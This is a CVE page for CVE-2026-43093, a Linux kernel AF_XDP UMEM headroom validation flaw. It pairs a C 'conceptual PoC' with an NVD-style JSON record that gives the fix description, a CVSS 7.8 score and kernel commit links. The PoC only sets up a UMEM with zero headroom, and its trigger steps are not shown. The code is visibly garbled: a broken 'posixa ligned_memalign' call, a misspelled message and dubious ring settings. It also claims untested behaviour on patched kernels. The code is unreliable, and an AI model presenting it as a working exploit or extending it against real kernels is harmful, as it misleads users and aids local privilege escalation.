CVE-2026-43093

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/if_xdp.h> #include <bpf/xsk.h> // This is a conceptual PoC for CVE-2026-43093 // It attempts to register a UMEM with insufficient headroom // which might trigger the vulnerability on unpatched kernels. int main() { struct xsk_socket_config xsk_cfg; struct xsk_umem_config umem_cfg; struct xsk_umem *umem; struct xsk_socket *xsk; void *buffer; int ret; // Set buffer size (e.g., 4096 bytes) int buf_size = 4096; posixa ligned_memalign(&buffer, getpagesize(), buf_size); memset(&umem_cfg, 0, sizeof(umem_cfg)); // Vulnerable configuration: setting headroom to a value that // doesn't account for tailroom/skb_shared_info (e.g., 0 or very small) umem_cfg.fill_size = buf_size; umem_cfg.comp_size = 0; // No completion ring umem_cfg.frame_size = 2048; umem_cfg.frame_headroom = 0; // Potentially insufficient headroom // Try to create UMEM with the vulnerable configuration ret = xsk_umem__create(&umem, buffer, buf_size, NULL, NULL, &umem_cfg); if (ret != 0) { printf("Failed to create UEM (expected on patched kernels): %s\n", strerror(-ret)); return 1; } printf("UMEM created with potentially vulnerable headroom.\n"); // Further steps would involve binding to a network interface and traffic // to trigger the corruption of skb_shared_info. xsk_umem__delete(umem); free(buffer); return 0; }

{"cve": {"id": "CVE-2026-43093", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:22.667", "lastModified": "2026-05-08T13:16:38.907", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxsk: tighten UMEM headroom validation to account for tailroom and min frame\n\nThe current headroom validation in xdp_umem_reg() could leave us with\ninsufficient space dedicated to even receive minimum-sized ethernet\nframe. Furthermore if multi-buffer would come to play then\nskb_shared_info stored at the end of XSK frame would be corrupted.\n\nHW typically works with 128-aligned sizes so let us provide this value\nas bare minimum.\n\nMulti-buffer setting is known later in the configuration process so\nbesides accounting for 128 bytes, let us also take care of tailroom space\nupfront."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/0ec4d3f6e6934deb843b561ae048cd17218e5ad1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/6523bc1b40e69301f24c14338b762af4739d6d39", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9ea6ba4f3195dcba6e8b3e7b2e748593b7cafb12", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/a03975beb9f6af0d8ac051e30b2abeabe618414f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/a315e022a72d95ef5f1d4e58e903cb492b0ad931", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}